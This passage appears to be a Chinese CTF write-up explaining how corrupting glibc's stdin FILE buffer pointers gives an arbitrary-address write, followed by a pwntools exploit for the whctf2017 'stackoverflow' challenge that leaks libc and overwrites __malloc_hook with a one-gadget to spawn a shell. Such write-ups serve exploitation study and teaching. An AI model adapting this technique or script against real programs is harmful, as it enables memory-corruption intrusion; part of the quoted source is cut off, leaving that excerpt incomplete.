stdin标准输入缓冲区指针进行任意地址写的功能。
0x01 原理
先通过fread回顾下通过输入缓冲区进行输入的流程:
- 判断fp->_IO_buf_base输入缓冲区是否为空,如果为空则调用的_IO_doallocbuf去初始化输入缓冲区。
- 在分配完输入缓冲区或输入缓冲区不为空的情况下,判断输入缓冲区是否存在数据。
- 如果输入缓冲区有数据则直接拷贝至用户缓冲区,如果没有或不够则调用__underflow函数执行系统调用读取数据到输入缓冲区,再拷贝到用户缓冲区。
假设我们能过控制输入缓冲区指针,使得输入缓冲区指向想要写的地址,那么在第三步调用系统调用读取数据到输入缓冲区的时候,也就会调用系统调用读取数据到我们想要写的地址,从而实现任意地址写的目的。
根据fread的源码,我们再看下要想实现往write_start写长度为write_end - write_start的数据具体经历了些什么。
1 | _IO_size_t |
将上述条件综合表述为:
- 设置_IO_read_end等于_IO_read_ptr。
- 设置_flag &~ _IO_NO_READS即_flag &~ 0x4。
- 设置_fileno为0。
- 设置_IO_buf_base为write_start,_IO_buf_end为write_end;且使得_IO_buf_end-_IO_buf_base大于fread要读的数据。
0x02 例题
whctf2017的stackoverflow
- 申请超过0x20000申请的空间会挨着
libc
- 因为最后置零用的是temp不是
size
不一致导致了可以向后面任意一个位置写0,写到IO_buf_base
的位置上然后就可以改IO_buf_end
了,实现任意地址写。 向malloc_hook
中写rop
读取数据形成栈溢出(这都行。。。。。)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43from pwn import *
context.log_level = 'debug'
sh = process('./stackoverflow')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def malloc_one(size=0,data="",real_size=0,flag=False):
sh.recvuntil("flow: ")
sh.sendline(str(size))
if flag:
sh.recvuntil("ckoverflow: ")
sh.sendline(str(real_size))
sh.recvuntil("ropchain:")
sh.send(data)
def evil_write(data):
sh.recvuntil("flow:")
sh.send(data)
def flush_buff(size):
for i in range(0,size):
sh.recvuntil("padding and ropchain: ")
sh.sendline('a')
sh.recvuntil('leave your name, bro:')
sh.send('a'*32)
sh.recvuntil('a'*32)
libc_base = u64(sh.recv(6).ljust(8,'\x00'))- 0x3c5620
log.success('libc_base: ' + hex(libc_base))
io_stdin=libc_base+libc.symbols['_IO_2_1_stdin_']
io_stdin_end=libc_base+libc.symbols['_IO_2_1_stdin_']+0xe0+0x10
malloc_hook=libc_base+libc.symbols['__malloc_hook']
rce = libc_base + 0x4526a
size = 0x5c5908
real_size = 0x200000
malloc_one(size,p64(0),real_size,True)
sh.recvuntil("please input the size to trigger stackoverflow:")
sh.send(p64(malloc_hook)*4 + p64(malloc_hook+0x8))
flush_buff(39)
sh.recvuntil(" trigger stackoverflow: ")
sh.send(p64(0xdeadbeef))
gdb.attach(sh)
sh.interactive()